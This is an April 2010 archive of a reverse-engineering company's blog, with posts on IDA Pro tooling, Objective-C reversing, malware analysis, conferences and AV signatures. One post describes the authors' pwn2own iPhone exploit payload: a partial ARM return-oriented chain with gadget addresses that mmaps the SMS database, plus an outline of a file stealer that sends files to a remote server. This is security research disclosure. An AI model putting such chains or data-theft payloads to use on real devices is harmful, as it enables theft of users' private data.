Archive for April, 2010

Importing MSDN documentation into IDA Pro

2010-04-30

A few weeks ago I already twittered a screenshot that showed what disassembled code looks like in IDA Pro after automatically importing function information from MSDN. Today, I have finally managed to upload our IDA Pro script, ida-msdn, to the zynamics GitHub account. If you are analyzing Windows executable files in IDA Pro you can now benefit from automated API calls documentation.

kernel32.dll after importing function information from MSDN

There is a slight problem, however. Since we can not distribute the MSDN documentation ourselves for legal reasons, you need to have your own local installation of the MSDN. Furthermore, the import process is divided into two parts.

At first you have to parse your local MSDN documentation into an XML file. This can be done with msdn-crawler, another open source zynamics project. msdn-crawler parses your locally installed Windows API documentation files from the MSDN and generates an XML file that contains information about Windows API functions (description, argument names and descriptions, and return values). In this first version, msdn-crawler finds 33984 Windows API functions in the MSDN and generates an XML file that contains more than 30 MB of function information. To see a brief example of what the XML file looks like, please check the readme.txt file on GitHub.

Once you have generated the msdn.xml file with msdn-parser you can use ida-msdn to import Windows API documentation into arbitrary IDB files. ida-msdn does two things: First, ida-msdn tries to match imported functions found in the IDB file to function information from the XML file. When information about an imported function is found, the information is imported from the XML file into the IDB file. Second, ida-msdn tries to find out if you are actually working on a DLL file (like shell32.dll or user32.dll) that exports Windows API functions. In that case, the exported functions recognized by ida-msdn are annotated with information from the XML file too.

Happy MSDN importing. ūüôā

Objective-C reversing (Part I)

2010-04-27

As mentioned in the conference circus post, last month I was also giving a talk in CodeGate 2010. Just after Thomas’s talk about BinCrowd it was my turn to present my ‚ÄúIntroduction to mobile reversing‚ÄĚ:

As you can see in the slides (Flash required, direct pdf download here), the presentation was divided into three parts: Windows Mobile, Android and iPhoneOS. Almost half of the time was spent in the last section talking about iPhone applications and Objective-C reversing.

One of the main problems when doing iPhone application reverse engineering is to deal with Objective-C artifacts. This is not a new issue. Everything developed over the Cocoa Framework has being using Objective-C for a long time. Proof of that is the existence of previous work in the reversing field (Cameron Hotchkies, itsme) but those scripts have a problem with iPhone applications: they are crafted to analyze x86 binaries (Intel MacOS X). That means the scripts try to parse x86 assembly code and look for compiler structures in certain sections/segments. Both the sections and the structures used are completely different for ARM-iPhoneOS binaries. Other scripts are specific for iPhone (KennyTM), but don’t take care of, in my opinion, the most annoying Objective-C side effect: callgraphs and cross-references.

During my talk at CodeGate, I pointed out that one of the main drawbacks was the fact that with Objective-C we have a useless callgraph, because all calls (take all not as 100% but as a really high percentage) are made to the method objc_msgSend() as you can see in this sample callgraph:

Original callgraph of an iPhone Objective-C sample

The red dots are methods and arrows represent calls. There’s only one arrow per dot because we removed duplicates to simplify it. The three top-called functions are three different flavours of msgSend: the standard one (objc_msgSend); the one to send messages to the super-class (objc_msgSend_Super); and the standard one that returns a struct instead of an integer (objc_msgSend_stret).

Continuing with the presentation, in the last part I used an script to patch the calls to objc_msgSend() and make the callgraph a bit more useful. Basically the script parses the calls to objc_msgSend() and traces the arguments passed in R0 and R1 that are the target class and method name. That way, the script creates a new segment in the binary where it places dummy functions with the names ‚Äúclassname_methodname‚ÄĚ and patches the call to objc_msgSend() to point to the corresponding dummy-function. The callgraph after using the script looks a bit better (in blue the dummy functions):

Callgraph of the same sample after using the script

As promised, the script has been released and you can download it from the zynamics GitHub account. This is an initial version with only the objc_msgSend() patching. We will be updating the script with the tricks disclosed in further posts, including a few improvements and adding static Objective-C class reconstruction.

ROP and iPhone

2010-04-16

As you might know I and Ralf-Philipp Weinmann from University of Luxembourg won pwn2own owning the iPhone.

Smartphones are different beasts compared to desktops when it comes to exploitation. Specifically the iPhone has a fairly important exploitation remediation measure, code signing, which makes both exploitation and debugging quite annoying and definitely raises the bar when it comes to writing payloads.

What smartphones usually miss, and that is the case for iPhone as well, is ASLR. Add up the two and we have the perfect OS on which to use ROP payloads.

We are not authorized to talk about the exploit itself as it is being sold to ZDI, nonetheless we want to give a brief explanation on the payload because to the best of our knowledge it is the first practical example of a weaponized payload on ARMv7 and iPhone 3GS.

In order to decide what kind of payloads we want to write, another security countermeasure has to be taken into account, namely Sandboxing.

On iPhone most applications are sandboxed with different levels of restrictions. The sandboxing is done¬†in a kernel extension using the MAC framework. A few well-known syscalls are usually denied(execve() to name one) and¬†normally access to important files is restricted. One last important thing to notice is that the iPhone doesn’t have a shell,¬†so that is not an option for our payload.

Luckily we are able to read files like the SMS database, the address book database and a few others containing sensitive information (this depends on the specific sandbox profile of the application).

A few notions are needed to be able to write ARM payloads, a lot of good information on the topic can be found here. I will nonetheless outline the basics needed below.

The first thing one has to understand before writing a ROP payload is the calling convention used in iPhoneOS.

For iPhone the first four arguments are passed using r0-r3 registers. If other arguments are needed those are pushed onto the stack. Functions usually return to the address pointed by the LR register so when we write our payload we need to make sure that we control LR.

Another important difference between ARM ROP payloads and x86 ROP payloads are instruction sizes.

In ARM there are only two possible sizes for instructions: 4 bytes or 2 bytes. The second type is called THUMB mode. To access THUMB instructions one has to set the program counter to addresses that are not 4-bytes aligned, this will cause the processor to switch to THUMB mode. More formally the processor will switch to THUMB mode when the T bit in the CPSR is 1 and the J bit is 0.

Starting from ARMv7 a “hybrid” mode was introduced, THUMB2. This mode supports both 32bits and 16bits instructions (the switch between 32 bits and 16 bits is done following the same criteria explained before for THUMB).

One last thing has to be noticed is that usually functions are called through b/bl/blx instructions, when writing our payload we are almost always forced not to use bl and blx. In fact those two instructions will save the next instructions into the lr register, thus we lose control over the program flow.

I won’t describe in details the concepts behind ROP as there is plenty of literature available. Tim is writing¬†about ROP on ARM in our blog as well.

I will instead try to outline what important steps are needed when it comes to writing an ARM ROP payload on the iPhone.

In our exploit we know that some data we control lies in r0. The first thing we want to achieve is to control the stack pointer. So we have to find a sequence that allows us to switch the stack pointer with a memory region we control. We do this in two stages:

6a07 ldr r7, [r0, #32]
f8d0d028 ldr.w sp, [r0, #40]
6a40 ldr r0, [r0, #36]
4700 bx r0

// r0 is a pointer to the crafted data structure used in the exploit. We point r7 to our crafted stack, and r0 to the address of the next rop gadget.
// The stack pointer points to something we don't control as the node is 40 bytes long. So we just to another code snippet which will put us in control of SP.

f1a70d00 sub.w sp, r7, #0 ;0x0
bd80 pop {r7, pc}

Now that we control the stack pointer we can take a closer look at our payload.

A file stealer payload should in principle do the following:

  1. Open a file
  2. Open a socket
  3. Connect to the socket
  4. Get the file size (using for instance fstat())
  5. Read the content of the file (in our case by mmaping it into memory)
  6. Write the content of the file to the remote server
  7. Close the connection
  8. Exit the process/continue execution

This is quite a long list for a ROP shellcode therefore we are not going to discuss each and every step, but just highlight some that are very important.

The first thing our payload needs to do is to control the content of lr register, a gadget that allows us to do so is:

e8bd4080 pop {r7, lr}
b001 add sp, #4
4770 bx lr

Next we will see an example of how a function can be called using ROP on ARM. We take as an example mmap() because it has more than 4 arguments therefore it is a bit trickier:

ropvalues[i++] = 0x00000000; //r4 which will be the address for mmap
ropvalues[i++] = 0x00000000; //r5 whatever
ropvalues[i++] = 0x000000000; //r8 is gonna be the file len for mmap
ropvalues[i++] = 0x000000002; //r9 MAP_PRIVATE copied in r3
ropvalues[i++] = 0x32988d5f; // PC
//32988d5e bd0f pop {r0, r1, r2, r3, pc}

ropvalues[i++] = locFD - 36; // r0 contains the memory location where the FD is stored
ropvalues[i++] = locStat +60;	// r1 struct stat file size member
ropvalues[i++] = 0x00000001; // r2 PROT_READ
ropvalues[i++] = 0x00000000; // r3 is later used to store the FD in the following gadget
ropvalues[i++] = 0x32979837;
//32979836 6a43 ldr r3, [r0, #36]
//32979838 6a00 ldr r0, [r0, #32]
//3297983a 4418 add r0, r3
//3297983c bd80 pop {r7, pc}
ropvalues[i++] = sp + 73*4 + 0x10;
ropvalues[i++] = 0x32988673;
//32988672	 bd01	pop	{r0, pc}
ropvalues[i++] = sp -28; //r0 has to be a valid piece of memory we don't care about(we just care for r1 here)
ropvalues[i++] = 0x329253eb;
//329253ea 6809 ldr r1, [r1, #0]
//329253ec 61c1 str r1, [r0, #28]
//329253ee 2000 movs r0, #0 //this will reset to 0 r0 (corresponding to the first argument of mmap())
//329253f0 bd80 pop {r7, pc}
ropvalues[i++] = sp + 75*4 + 0xc; //we do this because later SP will depend on it
ropvalues[i++] = 0x328C5CBd;
//328C5CBC STR R3, [SP,#0x24+var_24]
//328C5CBE MOV R3, R9 //r9 was filled before with MAP_PRIVATE flag for mmmap()
//328C5CC0 STR R4, [SP,#0x24+var_20]
//328C5CC2 STR R5, [SP,#0x24+var_1C]
//328C5CC4 BLX ___mmap
//328C5CC8 loc_328C5CC8 ; CODE XREF: _mmap+50
//328C5CC8 SUB.W SP, R7, #0x10
//328C5CCC LDR.W R8, [SP+0x24+var_24],#4
//328C5CD0 POP {R4-R7,PC}

ropvalues[i++] = 0xbbccddee;//we don't care for r4-r7 registers
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x32987baf;
//32987bae bd02 pop {r1, pc}

This payload snippet roughly traslates to:

mmap(0x0, statstruct.st_size, PROT_READ, MAP_PRIVATE, smsdbFD, 0x0);

What we had to do here is to store the arguments both inside the registers (the easy part) and to push two of them onto the stack.

Pushing arguments on the stack creates an extra problem when writing a ROP payload because we have to make sure our payload is aligned with the stack pointer, this is why we to craft r7 in a specific way in line 26.

Finally we pop the program counter and jump to some other instructions in memory.

Having seen this payload one may wonder how to find the proper gadgets in the address space of a process.

As said before¬†iPhone doesn’t have ASLR enforced which means that every library mapped in the address space is a possible source of gadgets.

There are some automated tools to find those gadgets and compile them to form a ROP shellcode on x86. Unfortunately that is not the case for ARM. Our co-worker Tim maintains and develops a great tool written for his thesis that can ease the process of finding gadget on ARM and he is currently working on extending the tool to compile (or better combine) gadgets to form valid shellcode.

As far as we know no techniques to disable code signing “on the fly” have been found on the latest firmware of iPhone.

It is therefore important for anyone trying to exploiting an iPhone vulnerability to learn ROP programming.

One last thing has to be said: the iPhone security model is pretty robust as it is now.

If it would ever support ASLR attacking it will be significantly harder than any desktop OS. In fact, most applications are sandboxed which greatly limits their abilities of doing harm and code signing is always in place. ASLR will limit the ability of creating ROP payloads and there are neither Flash nor a JIT compiler to play with on the iPhone;)

Finally if you are interested in iPhone hacking you should attend the class that I am going to give together with Dino Dai Zovi at Black Hat USA. It will be on Mac OS X hacking but most of the teaching material can be used on iPhone as well!

Cheers,
Vincenzo

Algorithms for platform independent return-oriented programming (I of III)

2010-04-16

In my last post about the history of return-oriented programming I showed that we are not dealing with a completely new technology when we are talking about return-oriented programming. However, the technology is evolving to a point where even the world of academia thinks it worth discussing it in theoretical conferences. Until recently return-oriented programming has always been platform dependent so that one specific implementation was only able to work on one single platform. To sharpen the point a little further current approaches only target one specific compiler for one platform in general. Even though this is not necessarily the case for variable length instruction sets like the IA-32/64 instruction set, where the search for instruction sequences can be performed without paying attention to the alignment restrictions, for all platforms where alignment is enforced the current approaches are still very limited.

In this post I will start showing a set of algorithms which can be used platform independently to locate suitable instruction sequences for return-oriented programming.

So let’s get started with defining return-oriented programming to get an idea where we are eventually trying to end up with.

The goal is to build a program from existing code chunks of another program or commonly used libraries. A program built from the parts of another binary is called a return-oriented program. The individual parts that form a return-oriented program are named gadgets. A gadget is a sequence of instructions in the target binary that provides a usable operation, such as addition of two registers. To be able to build a program from gadgets, they must be combinable. Gadgets are combinable if they end in an instruction that changes control flow in a way that can be controlled by the attacker. Instructions at the end of gadgets are named free-branch instructions. A free-branch instruction must satisfy the following properties:

  • The control flow must change at this instruction.
  • The target of the control flow must be controllable (free) such that the input from an attacker controled register or memory offset defines the target.

After this small definition of what we are actually looking for we can now move on and discuss the algorithms which we will use to help us find instruction sequences which satisfy the above definition.

As we need a starting point for our search of useful instruction sequences, the first step is to locate all free-branch instructions in the targeted binary (In BinNavi this is a single SQL query). After we have collected all of the free-branch instructions we start with phase one of our algorithms, data collection within the binary. The goal of the data collection phase is to provide us with the following information:

  • What possible paths are usable for gadgets and end in a free-branch instruction.
  • What does the REIL representation of the instructions on the possible paths look like.

If you are not familiar with REILs ([R]everse [E]ngineering [I]ntermediate [L]anguage) concepts be sure to check our article we have posted a while back to get you started.

Now that we have a goal definition for our first phase algorithms we can start looking into the algorithms to get the desired data. To find all paths which could provide useful instruction sequences for gadgets we use an algorithm which traverses backwards through the control flow graph of all the functions where we found free-branch instructions. Using the free-branch instruction as our starting point we walk upwards instruction by instruction until no more instructions are contained in the initial basic block. The following graphic shows examples for ARM and MIPS free-branch instructions.

Examples for free-branch instructions (more…)

Exploring malware relations

2010-04-13

Peter Silberman and I will be presenting, this Wednesday at BlackHat Europe 2010, our latest peek into the malware world.

In this talk we follow up from our previous “State of Malware: Explosion of the Axis of Evil” ,¬†where we explored some of the idiosyncrasies of mass-malware vs. the ones in targeted malware. This time around we decided to try to spot actual code-sharing among a reasonably diverse corpus of recent malware obtained from VirusTotal.

Using some of the technology we’ve developed in zynamics to automatically classify malware we attempted to find relations between malware samples that would indicate that code had been shared, possibly indicating collaborative efforts of malware developers or even giving clues about common authorship.

If you want to hear what it is that we found out, don’t hesitate in dropping by our talk Wednesday 16:45h

See you there!

Malicious PDF file analysis: zynamics style

2010-04-09

If you are interested in PDF file analysis we might soon have something for you. We have developed a nifty little application that can not only parse PDF files but also help you analyze them very quickly. The main features include:

  • The ability to view PDF files as content trees as well as hex data.
  • Decode and display embedded JavaScript.
  • Refactoring functionality for JavaScript code, for example for variable renaming.
  • An integrated JavaScript interpreter for malicious script debugging.
  • An extensible Adobe Reader emulator to simulate arbitrary versions and configurations of Adobe Reader.
  • Intercept all called functions to log calls or modify arguments and return values.
  • Automated exploit recognition.

To see it all in action, you can watch a preview video by clicking this link.

There are a few things to explore in the next weeks:

  • We will improve the PDF parser.
  • We will add more JavaScript refactoring functions.
  • We need to figure out how to limit memory to scripts because if your script gets heap-sprayed, the PDF analysis tool will get heap-sprayed too which is uncool.
  • We will add a plugin API so that you can automatically process large quantities of files. This should be very useful for everyone who wants to do batch analysis of PDF files.

Conference Circus: April and May 2010

2010-04-06

If you want to meet team zynamics people at conferences your odds are better than ever. We would like to meet you too and we have a pretty full conference program in the next two months. If you want to get an in-depth view about a specific topic or technology we are working on you might want to contact us in advance so we can prepare a bit. If you just want to hang out and talk, feel free to approach us at the conferences. Our email addresses all have the firstname.lastname@zynamics.com pattern. If in doubt you can also send an email to info@zynamics.com.

CODEGATE 2010 (Seoul, April 6 – April 7)

Thomas will be at CODEGATE 2010 to give a talk about BinCrowd, our collaborative reverse engineering server. If you want to meet up you better hurry because today is already the first day and Thomas will fly out to the next event tomorrow already.

Jose Duart (who works on VxClass) is also at CODEGATE 2010. He will give a talk titled “Introduction to mobile reversing”.

Black Hat Europe 2010 (Barcelona, April 12 – 15)

Never before were there so many zynamics researchers at just one conference! If you want to, you can meet Thomas, Vincenzo (Talk: “0-knowledge fuzzing”), Ero Carrera (Talk: “State Of Malware: Family Ties”), Jose, or me.

SANS European Digital Forensics and Incident Response Summit (London, April 14 – 20)

Ero will be one of the panelists in a discussion titled “New Computer Forensic Techniques”.

InBot’10 (Bonn, April 20 – 21)

Tim, Thomas, and Christian Blichmann (who also works on VxClass) are planning to go to InBot’10 to learn about and share the latest trends in all kinds of malware-related topics.

SOURCE Boston (Boston, April 21 – 23)

Vincenzo will be at SOURCE Boston to give his talk about 0-knowledge fuzzing again.

NATO Symposium on “Information Assurance and Cyber Defence” (Antalya, April 26 – 27)

Thomas and I will give a talk about correlating attackers between different cyber attacks using binary code artifacts.

Confidence 2010 (Krakow, May 25 – 26)

Still unconfirmed, but Vincenzo is planning to be there.

CARO 2010 (Helsinki, May 26 – 27)

I will be in Helsinki the two days before CARO 2010 takes place. If anybody wants to meet up with me there to talk about VxClass, how we automatically generate signatures for whole malware families, or any other malware-related topic we are working on please contact me before and I can extend my stay.

PH Neutral  0x7da (Berlin, May 28 Р30)

PH Neutral could even beat Black Hat Europe. The current plan is to show up there with Tim, Ero, Jose, me, and possibly Thomas, Vincenzo, and Christian (the last three are yet unconfirmed). If you have ever been to PH Neutral you know that this conference is focused on hanging out and not on demoing tech, of course. ūüôā

Challenging conventional wisdom on AV signatures (Part 1 of 2)

2010-04-02

We have all been taught (and intuitively felt) that traditional antivirus signatures are, for the most part, a waste of time. I think I have myself argued something similar repeatedly. One could say that “byte signatures don’t work” is accepted conventional wisdom in the security industry. Especially in the light of the recent (and much-publicized) Aurora-attacks, this conventional wisdom appears to ring truer than ever.

One thing though that I have personally always liked about the security industry was the positive attitude towards challenging conventional wisdom — re-examining the assumptions underlying this wisdom. In this post (and the upcoming sequel), I will do just that: I will examine the reasons why everyone is convinced that traditional byte signatures do not work and ask questions about the assumptions that lead us to this conclusion.

So. Why do we think that traditional antivirus signatures are a waste of time ?

Let’s first recapitulate what the usual cycle in a targeted attack consists of:

  1. The attacker writes or obtains a backdoor component
  2. The attacker writes or obtains an exploit
  3. The attacker tests both exploit and backdoor against available AV tools, making sure that both are not detected
  4. The attacker compromises the victim and starts exfiltrating data
  5. The defender notices the attack, passes the backdoor to the AV company, and cleans up his network
  6. The AV company generates a signature and provides it to both the attacker and defender
  7. Goto (2)

This entire cycle can be clarified with a few pictures:

Let’s look at this diagram again. What properties of “byte signatures” does the attacker exploit in immunizing his software ? Well … none, really, except the fact that he fully knows about them before launching his attack. There is no information asymmetry: The attacker has almost the exact same information that the defender has. Through this, he is provided with a virtually limitless number of trial runs of his attack, and he can adapt his attack arbitrarily, over long time periods, until he is reasonably certain that it will be both successful and undetected.

The implication of this is that the underlying problem is not a feature of byte signatures, but rather a generic problem inherent in all security systems that provide identical data to both attackers and defenders and that have no information asymmetry at all.

In the next post, I will examine two approaches how this problem could be addressed to give the defender an advantage.